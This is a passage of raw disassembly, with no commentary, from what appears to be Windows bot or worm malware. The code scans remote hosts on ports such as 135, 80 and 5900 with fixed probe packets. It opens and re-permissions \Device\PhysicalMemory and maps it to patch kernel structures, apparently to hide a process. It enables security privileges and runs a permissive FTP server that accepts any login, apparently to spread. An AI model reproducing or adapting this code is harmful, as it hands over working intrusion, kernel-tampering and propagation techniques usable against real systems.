		jnz	loc_401958
		push	esi
		call	sub_41C059
		pop	ecx
		push	0
		call	dword_42F150	; ExitThread
sub_401906	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A7A	proc near		; CODE XREF: sub_401AB3+14Cp
					; sub_401AB3+175p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_401AA8


loc_401A8B:				; CODE XREF: sub_401A7A+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4227F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401AAE
		inc	esi
		cmp	esi, edi
		jl	short loc_401A8B


loc_401AA8:				; CODE XREF: sub_401A7A+Fj
		xor	eax, eax


loc_401AAA:				; CODE XREF: sub_401A7A+37j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_401AAE:				; CODE XREF: sub_401A7A+27j
		xor	eax, eax
		inc	eax
		jmp	short loc_401AAA
sub_401A7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AB3	proc near		; CODE XREF: sub_40B63F+16p
					; .text:00411EA1p ...

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_4220C0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_401B1B
		dec	eax
		jz	short loc_401B12
		dec	eax
		jz	short loc_401AF6
		dec	eax
		jz	short loc_401B0C
		dec	eax
		jnz	short loc_401B0C
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_45434C	; inet_addr
		push	eax
		call	sub_4016B4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401B0C
		push	3
		pop	eax
		jmp	short loc_401B0E
; ---------------------------------------------------------------------------


loc_401AF6:				; CODE XREF: sub_401AB3+19j
		push	3
		push	50h


loc_401AFA:				; CODE XREF: sub_401AB3+66j
		push	[ebp+arg_0]
		call	dword_45434C	; inet_addr
		push	eax
		call	sub_4016B4
		add	esp, 0Ch


loc_401B0C:				; CODE XREF: sub_401AB3+1Cj
					; sub_401AB3+1Fj ...
		xor	eax, eax


loc_401B0E:				; CODE XREF: sub_401AB3+41j
					; sub_401AB3+192j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_401B12:				; CODE XREF: sub_401AB3+16j
		push	3
		push	170Ch
		jmp	short loc_401AFA
; ---------------------------------------------------------------------------


loc_401B1B:				; CODE XREF: sub_401AB3+13j
		push	6
		push	1
		push	2
		call	dword_454394	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_401B0C
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_454314	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4140CF
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4542AC	; connect
		cmp	eax, edi
		jz	loc_401C39
		push	ebx
		push	48h
		push	offset dword_432AE0
		push	esi
		call	dword_454350	; send
		cmp	eax, edi
		jz	loc_401C39
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_454330	; recv
		cmp	eax, edi
		jz	loc_401C39
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_401C39
		push	ebx
		push	18h
		push	offset dword_432B2C
		push	[ebp+arg_4]
		call	dword_454350	; send
		cmp	eax, edi
		jz	short loc_401C39
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_454330	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_401C39
		cmp	[ebp+var_200E],	2
		jnz	short loc_401C39
		push	10h
		push	offset dword_432B48
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_401A7A
		add	esp, 10h
		test	eax, eax
		jz	short loc_401C19
		xor	eax, eax
		cmp	esi, 12Ch
		setnl	al
		inc	eax
		jmp	short loc_401C37
; ---------------------------------------------------------------------------


loc_401C19:				; CODE XREF: sub_401AB3+156j
		push	10h
		push	offset dword_432B5C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_401A7A
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		and	eax, 3


loc_401C37:				; CODE XREF: sub_401AB3+164j
		mov	ebx, eax


loc_401C39:				; CODE XREF: sub_401AB3+C2j
					; sub_401AB3+D9j ...
		push	[ebp+arg_4]
		call	dword_4543AC	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_401B0E
sub_401AB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C4A	proc near		; CODE XREF: sub_40203F+B5p
		push	offset aNtdll_dll ; "ntdll.dll"
		call	dword_42F138	; LoadLibraryA
		test	eax, eax
		mov	dword_44D68C, eax
		jz	short loc_401C96
		push	esi
		mov	esi, dword_42F13C
		push	offset aRtlinitunicode ; "RtlInitUnicodeString"
		push	eax
		call	esi ; dword_42F13C
		push	offset aZwopensection ;	"ZwOpenSection"
		mov	dword_44D684, eax
		push	dword_44D68C
		call	esi ; dword_42F13C
		cmp	dword_44D684, 0
		mov	dword_44D688, eax
		pop	esi
		jz	short loc_401C96
		test	eax, eax
		jz	short loc_401C96
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_401C96:				; CODE XREF: sub_401C4A+12j
					; sub_401C4A+42j ...
		xor	eax, eax
		retn
sub_401C4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C99	proc near		; CODE XREF: sub_40203F+12Cp
					; sub_40203F:loc_402184p
		mov	eax, dword_44D68C
		test	eax, eax
		jz	short loc_401CA9
		push	eax
		call	dword_42F0BC	; FreeLibrary


loc_401CA9:				; CODE XREF: sub_401C99+7j
		and	dword_44D68C, 0
		retn
sub_401C99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401CB1	proc near		; CODE XREF: sub_401D57+9Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	esi
		lea	eax, [ebp+var_8]
		push	edi
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	esi
		push	esi
		push	4
		push	6
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	dword_42F01C	; GetSecurityInfo
		test	eax, eax
		jnz	short loc_401D53
		push	20h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	ecx, [ebp+var_4]
		xor	eax, eax
		mov	[ebp+var_2C], 2
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	[ebp+var_C]
		inc	eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], esi
		push	ecx
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], offset aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_4], esi
		call	dword_42F020	; SetEntriesInAclA
		test	eax, eax
		jnz	short loc_401D39
		push	esi
		push	[ebp+var_4]
		push	esi
		push	esi
		push	4
		push	6
		push	[ebp+arg_0]
		call	dword_42F024	; SetSecurityInfo
		test	eax, eax
		jz	short loc_401D53


loc_401D39:				; CODE XREF: sub_401CB1+6Fj
		cmp	[ebp+var_8], esi
		mov	edi, dword_42F030
		jz	short loc_401D49
		push	[ebp+var_8]
		call	edi ; dword_42F030


loc_401D49:				; CODE XREF: sub_401CB1+91j
		cmp	[ebp+var_4], esi
		jz	short loc_401D53
		push	[ebp+var_4]
		call	edi ; dword_42F030


loc_401D53:				; CODE XREF: sub_401CB1+2Aj
					; sub_401CB1+86j ...
		pop	edi
		pop	esi
		leave
		retn
sub_401CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D57	proc near		; CODE XREF: sub_40203F+C2p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, dword_44C4F4
		mov	ecx, dword_44C4F8
		push	ebx
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		cmp	eax, 6
		mov	edx, 39000h
		jnz	short loc_401D82
		cmp	ecx, ebx
		jnz	loc_401E43
		mov	edi, edx


loc_401D82:				; CODE XREF: sub_401D57+1Fj
		cmp	eax, 5
		jnz	loc_401E24
		cmp	ecx, ebx
		jz	short loc_401D98
		cmp	ecx, 1
		jnz	loc_401E1B


loc_401D98:				; CODE XREF: sub_401D57+36j
		mov	edi, edx


loc_401D9A:				; CODE XREF: sub_401D57+E6j
		push	esi
		lea	eax, [ebp+var_8]
		push	offset off_432E04
		push	eax
		call	dword_44D684	; RtlInitUnicodeString
		lea	eax, [ebp+var_8]
		mov	esi, offset dword_44D694
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_20]
		push	eax
		push	6
		push	esi
		mov	[ebp+var_20], 18h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	dword_44D688	; ZwOpenSection
		cmp	eax, 0C0000022h
		jnz	short loc_401E11
		lea	eax, [ebp+var_20]
		push	eax
		push	60000h
		push	esi
		call	dword_44D688	; ZwOpenSection
		push	dword_44D694
		call	sub_401CB1
		pop	ecx
		push	dword_44D694
		call	dword_42F038	; CloseHandle
		lea	eax, [ebp+var_20]
		push	eax
		push	6
		push	esi
		call	dword_44D688	; ZwOpenSection


loc_401E11:				; CODE XREF: sub_401D57+83j
		cmp	eax, ebx
		pop	esi
		jge	short loc_401E48
		push	0FFFFFFFEh
		pop	eax
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E1B:				; CODE XREF: sub_401D57+3Bj
		cmp	ecx, 2
		jnz	short loc_401E3B
		mov	edi, edx
		jmp	short loc_401E3B
; ---------------------------------------------------------------------------


loc_401E24:				; CODE XREF: sub_401D57+2Ej
		cmp	eax, 4
		jnz	short loc_401E3B
		cmp	ecx, ebx
		jnz	short loc_401E3B
		cmp	dword_44C500, 2
		jnz	short loc_401E3B
		mov	edi, 30000h


loc_401E3B:				; CODE XREF: sub_401D57+C7j
					; sub_401D57+CBj ...
		cmp	edi, ebx
		jnz	loc_401D9A


loc_401E43:				; CODE XREF: sub_401D57+23j
		or	eax, 0FFFFFFFFh
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E48:				; CODE XREF: sub_401D57+BDj
		push	1000h
		push	edi
		push	ebx
		push	6
		push	dword_44D694
		call	dword_42F034	; MapViewOfFile
		xor	ecx, ecx
		cmp	eax, ebx
		setnz	cl
		mov	dword_44D690, eax
		lea	ecx, ds:0FFFFFFFDh[ecx*4]
		mov	eax, ecx


loc_401E72:				; CODE XREF: sub_401D57+C2j
					; sub_401D57+EFj
		pop	edi
		pop	ebx
		leave
		retn
sub_401D57	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E76	proc near		; CODE XREF: sub_40203F+127p
					; sub_40203F:loc_40217Fp
		mov	eax, dword_44D690
		test	eax, eax
		jz	short loc_401E86
		push	eax
		call	dword_42F03C	; UnmapViewOfFile


loc_401E86:				; CODE XREF: sub_401E76+7j
		mov	eax, dword_44D694
		test	eax, eax
		jz	short loc_401E96
		push	eax
		call	dword_42F038	; CloseHandle


loc_401E96:				; CODE XREF: sub_401E76+17j
		and	dword_44D690, 0
		and	dword_44D694, 0
		retn
sub_401E76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401EA5	proc near		; CODE XREF: sub_401F1D+Bp
					; sub_401F6E+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_401F18
		mov	edi, [esp+8+arg_4]
		mov	ecx, edi
		shr	ecx, 16h
		mov	eax, [eax+ecx*4]
		test	al, 1
		jz	short loc_401F18
		test	al, al
		jns	short loc_401ED1
		mov	esi, eax
		xor	esi, edi
		and	esi, 3FFFFFh
		xor	esi, eax
		jmp	short loc_401F14
; ---------------------------------------------------------------------------


loc_401ED1:				; CODE XREF: sub_401EA5+1Cj
		and	ax, 0F000h
		push	1000h
		push	eax
		push	0
		push	0F001Fh
		push	dword_44D694
		call	dword_42F034	; MapViewOfFile
		mov	ecx, edi
		shr	ecx, 0Ch
		and	ecx, 3FFh
		mov	ecx, [eax+ecx*4]
		test	cl, 1
		jz	short loc_401F18
		mov	esi, ecx
		push	eax
		xor	esi, edi
		and	esi, 0FFFh
		xor	esi, ecx
		call	dword_42F03C	; UnmapViewOfFile


loc_401F14:				; CODE XREF: sub_401EA5+2Aj
		mov	eax, esi
		jmp	short loc_401F1A
; ---------------------------------------------------------------------------


loc_401F18:				; CODE XREF: sub_401EA5+8j
					; sub_401EA5+18j ...
		xor	eax, eax


loc_401F1A:				; CODE XREF: sub_401EA5+71j
		pop	edi
		pop	esi
		retn
sub_401EA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F1D	proc near		; CODE XREF: sub_40203F+D1p
					; sub_40203F+DFp ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		push	dword_44D690
		call	sub_401EA5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_401F53
		and	ax, 0F000h
		push	1000h
		push	eax
		push	0
		push	4
		push	dword_44D694
		call	dword_42F034	; MapViewOfFile
		test	eax, eax
		jnz	short loc_401F57


loc_401F53:				; CODE XREF: sub_401F1D+16j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401F57:				; CODE XREF: sub_401F1D+34j
		shr	esi, 2
		and	esi, 3FFh
		push	eax
		mov	esi, [eax+esi*4]
		call	dword_42F03C	; UnmapViewOfFile
		mov	eax, esi
		pop	esi
		retn
sub_401F1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F6E	proc near		; CODE XREF: sub_40203F+10Fp
					; sub_40203F+11Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		push	dword_44D690
		call	sub_401EA5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_401FA4
		and	ax, 0F000h
		push	1000h
		push	eax
		push	0
		push	2
		push	dword_44D694
		call	dword_42F034	; MapViewOfFile
		test	eax, eax
		jnz	short loc_401FA8


loc_401FA4:				; CODE XREF: sub_401F6E+16j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401FA8:				; CODE XREF: sub_401F6E+34j
		mov	ecx, [esp+4+arg_4]
		push	eax
		shr	esi, 2
		and	esi, 3FFh
		mov	[eax+esi*4], ecx
		call	dword_42F03C	; UnmapViewOfFile
		xor	eax, eax
		pop	esi
		inc	eax
		retn
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FC4	proc near		; CODE XREF: sub_40203F+AEp
					; sub_40203F+134p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_42F040	; GetCurrentProcess
		push	eax
		call	dword_42F010	; OpenProcessToken
		test	eax, eax
		jnz	short loc_401FE3
		leave
		retn
; ---------------------------------------------------------------------------


loc_401FE3:				; CODE XREF: sub_401FC4+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_42F014	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_402031
		mov	eax, [ebp+var_10]
		mov	[ebp+var_20], 1
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		xor	eax, eax
		cmp	[ebp+arg_4], esi
		setz	al
		lea	eax, [eax+eax+2]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_42F018	; AdjustTokenPrivileges
		mov	esi, eax


loc_402031:				; CODE XREF: sub_401FC4+32j
		push	[ebp+var_4]
		call	dword_42F038	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_401FC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40203F	proc near		; CODE XREF: sub_412267+131p
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset dword_44C4F0
		mov	dword_44C4F0, 94h
		call	dword_42F044	; GetVersionExA
		test	eax, eax
		jz	loc_402189
		mov	ecx, dword_44C4F4
		mov	eax, dword_44C4F8
		xor	edi, edi
		xor	ebx, ebx
		cmp	ecx, 6
		jnz	short loc_402082
		test	eax, eax
		jnz	loc_402189
		push	3Ch
		pop	edi
		push	30h
		pop	ebx


loc_402082:				; CODE XREF: sub_40203F+33j
		cmp	ecx, 5
		jnz	short loc_4020B9
		test	eax, eax
		jnz	short loc_402097
		mov	edi, 0A0h
		mov	ebx, 0A4h
		jmp	short loc_4020E5
; ---------------------------------------------------------------------------


loc_402097:				; CODE XREF: sub_40203F+4Aj
		cmp	eax, 1
		jnz	short loc_4020A8
		mov	edi, 88h
		mov	ebx, 8Ch
		jmp	short loc_4020E5
; ---------------------------------------------------------------------------


loc_4020A8:				; CODE XREF: sub_40203F+5Bj
		cmp	eax, 2
		jnz	short loc_4020D5
		mov	edi, 8Ah
		mov	ebx, 8Eh
		jmp	short loc_4020D5
; ---------------------------------------------------------------------------


loc_4020B9:				; CODE XREF: sub_40203F+46j
		cmp	ecx, 4
		jnz	short loc_4020D5
		test	eax, eax
		jnz	short loc_4020D5
		cmp	dword_44C500, 2
		jnz	short loc_4020D5
		mov	edi, 98h
		mov	ebx, 9Ch


loc_4020D5:				; CODE XREF: sub_40203F+6Cj
					; sub_40203F+78j ...
		test	edi, edi
		jz	loc_402189
		test	ebx, ebx
		jz	loc_402189


loc_4020E5:				; CODE XREF: sub_40203F+56j
					; sub_40203F+67j
		mov	ebp, offset aSesecuritypriv ; "SeSecurityPrivilege"
		push	1
		push	ebp
		call	sub_401FC4
		pop	ecx
		pop	ecx
		call	sub_401C4A
		test	eax, eax
		jz	loc_402189
		call	sub_401D57
		cmp	eax, 1
		jnz	short loc_402184
		push	0FFDFF124h
		call	sub_401F1D
		test	eax, eax
		pop	ecx
		jz	short loc_40217F
		add	eax, 44h
		push	eax
		call	sub_401F1D
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40217F
		lea	eax, [esi+edi]
		push	eax
		call	sub_401F1D
		add	esi, ebx
		mov	edi, eax
		push	esi
		call	sub_401F1D
		pop	ecx
		mov	esi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_40217F
		test	esi, esi
		jz	short loc_40217F
		lea	eax, [edi+4]
		push	esi
		push	eax
		call	sub_401F6E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40217F
		push	edi
		push	esi
		call	sub_401F6E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40217F
		call	sub_401E76
		call	sub_401C99
		push	0
		push	ebp
		call	sub_401FC4
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40218B
; ---------------------------------------------------------------------------


loc_40217F:				; CODE XREF: sub_40203F+D9j
					; sub_40203F+E9j ...
		call	sub_401E76


loc_402184:				; CODE XREF: sub_40203F+CAj
		call	sub_401C99


loc_402189:				; CODE XREF: sub_40203F+1Bj
					; sub_40203F+37j ...
		xor	eax, eax


loc_40218B:				; CODE XREF: sub_40203F+13Ej
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40203F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402190	proc near		; DATA XREF: sub_401477+104o
					; sub_403B2C+1A20o

var_16F8	= byte ptr -16F8h
var_6F8		= byte ptr -6F8h
var_694		= byte ptr -694h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_3F8		= dword	ptr -3F8h
var_3EC		= dword	ptr -3ECh
var_3E8		= dword	ptr -3E8h
var_2E4		= byte ptr -2E4h
var_2B0		= byte ptr -2B0h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_148		= byte ptr -148h
var_138		= byte ptr -138h
var_D4		= byte ptr -0D4h
var_A0		= byte ptr -0A0h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= dword	ptr -8Ch
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_74		= byte ptr -74h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F8h
		call	sub_4220C0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ABh
		mov	esi, eax
		lea	edi, [ebp+var_694]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	ebx
		inc	esi
		push	ebx
		mov	[eax+2A4h], esi
		mov	eax, [ebp+var_3EC]
		push	ebx
		mov	[ebp+var_70], eax
		mov	eax, [ebp+var_480]
		push	offset sub_414926
		push	ebx
		push	ebx
		mov	[ebp+var_48], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_24C], ebx
		mov	[ebp+var_3E8], ebx
		mov	dword_44D680, eax
		call	dword_42F158	; CreateThread
		push	ebx
		push	esi
		push	2
		call	dword_454394	; socket
		lea	ecx, [ebp+var_48]
		push	4
		push	ecx
		push	4
		push	0FFFFh
		push	eax
		mov	dword_44D66C, eax
		call	dword_4542F0	; setsockopt
		lea	eax, [ebp+var_4C]
		push	eax
		push	8004667Eh
		push	dword_44D66C
		call	dword_4543B0	; ioctlsocket
		mov	ax, word ptr dword_44D680
		mov	[ebp+var_90], 2
		push	eax
		mov	[ebp+var_8C], ebx
		call	dword_454314	; ntohs
		mov	[ebp+var_8E], ax
		lea	eax, [ebp+var_90]
		push	10h
		push	eax
		push	dword_44D66C
		call	dword_454344	; bind
		test	eax, eax
		jge	short loc_40226E
		mov	eax, esi
		jmp	loc_4026EA
; ---------------------------------------------------------------------------


loc_40226E:				; CODE XREF: sub_402190+D5j
		push	0Ah
		push	dword_44D66C
		call	dword_454340	; listen
		mov	eax, dword_44D66C
		mov	[ebp+var_24C], esi
		mov	[ebp+var_248], eax
		mov	[ebp+var_4], eax


loc_402290:				; CODE XREF: sub_402190+137j
					; sub_402190+552j
		push	41h
		lea	eax, [ebp+var_3E8]
		pop	ecx
		lea	esi, [ebp+var_24C]
		push	ebx
		push	ebx
		push	ebx
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_3E8]
		inc	eax
		rep movsd
		push	eax
		call	dword_4542FC	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4026E7
		xor	esi, esi
		cmp	[ebp+var_4], ebx
		mov	[ebp+arg_0], esi
		jl	short loc_402290


loc_4022C9:				; CODE XREF: sub_402190+54Cj
		push	64h
		lea	eax, [ebp+var_2B0]
		push	ebx
		push	eax
		call	sub_4221F0
		push	64h
		lea	eax, [ebp+var_138]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 18h
		lea	eax, [ebp+var_3E8]
		push	eax
		push	esi
		call	dword_4541E4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4026D5
		mov	eax, dword_44D66C
		cmp	esi, eax
		jnz	loc_402393
		lea	ecx, [ebp+var_20]
		mov	[ebp+var_20], 10h
		push	ecx
		lea	ecx, [ebp+var_148]
		push	ecx
		push	eax
		call	dword_4543A4	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_58], eax
		jz	loc_4026D5
		mov	edx, [ebp+var_24C]
		xor	ecx, ecx
		cmp	edx, ebx
		jbe	short loc_40234C


loc_40233E:				; CODE XREF: sub_402190+1BAj
		cmp	[ebp+ecx*4+var_248], eax
		jz	short loc_40234C
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40233E


loc_40234C:				; CODE XREF: sub_402190+1ACj
					; sub_402190+1B5j
		cmp	ecx, edx
		jnz	short loc_402362
		cmp	edx, 40h
		jnb	short loc_402362
		mov	[ebp+ecx*4+var_248], eax
		inc	[ebp+var_24C]


loc_402362:				; CODE XREF: sub_402190+1BEj
					; sub_402190+1C3j
		cmp	eax, [ebp+var_4]
		jle	short loc_40236A
		mov	[ebp+var_4], eax


loc_40236A:				; CODE XREF: sub_402190+1D5j
		mov	esi, offset a220 ; "220\r\n"
		lea	edi, [ebp+var_54]
		movsd
		lea	eax, [ebp+var_54]
		push	ebx
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+var_58]
		call	dword_454350	; send
		jmp	loc_4026D2
; ---------------------------------------------------------------------------


loc_402393:				; CODE XREF: sub_402190+177j
		push	ebx
		lea	eax, [ebp+var_2B0]
		push	64h
		push	eax
		push	esi
		call	dword_454330	; recv
		test	eax, eax
		jg	short loc_4023F0
		mov	ecx, [ebp+var_24C]
		xor	eax, eax
		cmp	ecx, ebx
		jbe	short loc_4023E4


loc_4023B4:				; CODE XREF: sub_402190+230j
		cmp	[ebp+eax*4+var_248], esi
		jz	short loc_4023D9
		inc	eax
		cmp	eax, ecx
		jb	short loc_4023B4
		jmp	short loc_4023E4
; ---------------------------------------------------------------------------


loc_4023C4:				; CODE XREF: sub_402190+24Cj
		mov	ecx, [ebp+eax*4+var_244]
		mov	[ebp+eax*4+var_248], ecx
		mov	ecx, [ebp+var_24C]
		inc	eax


loc_4023D9:				; CODE XREF: sub_402190+22Bj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_4023C4
		dec	[ebp+var_24C]


loc_4023E4:				; CODE XREF: sub_402190+222j
					; sub_402190+232j
		push	esi
		call	dword_4543AC	; closesocket
		jmp	loc_4026D5
; ---------------------------------------------------------------------------


loc_4023F0:				; CODE XREF: sub_402190+216j
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422725
		lea	eax, [ebp+var_138]
		push	offset aUser	; "USER"
		push	eax
		call	sub_422760
		add	esp, 18h
		test	eax, eax
		jnz	short loc_402446
		mov	esi, offset a331 ; "331\r\n"
		lea	edi, [ebp+var_6C]
		movsd
		lea	eax, [ebp+var_6C]
		push	ebx
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C]
		jmp	loc_4026B6
; ---------------------------------------------------------------------------


loc_402446:				; CODE XREF: sub_402190+295j
		lea	eax, [ebp+var_138]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40247C
		mov	esi, offset a230 ; "230\r\n"
		lea	edi, [ebp+var_60]
		movsd
		lea	eax, [ebp+var_60]
		push	ebx
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_60]
		jmp	loc_4026B6
; ---------------------------------------------------------------------------


loc_40247C:				; CODE XREF: sub_402190+2CBj
		lea	eax, [ebp+var_138]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40255C
		lea	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_2B0]
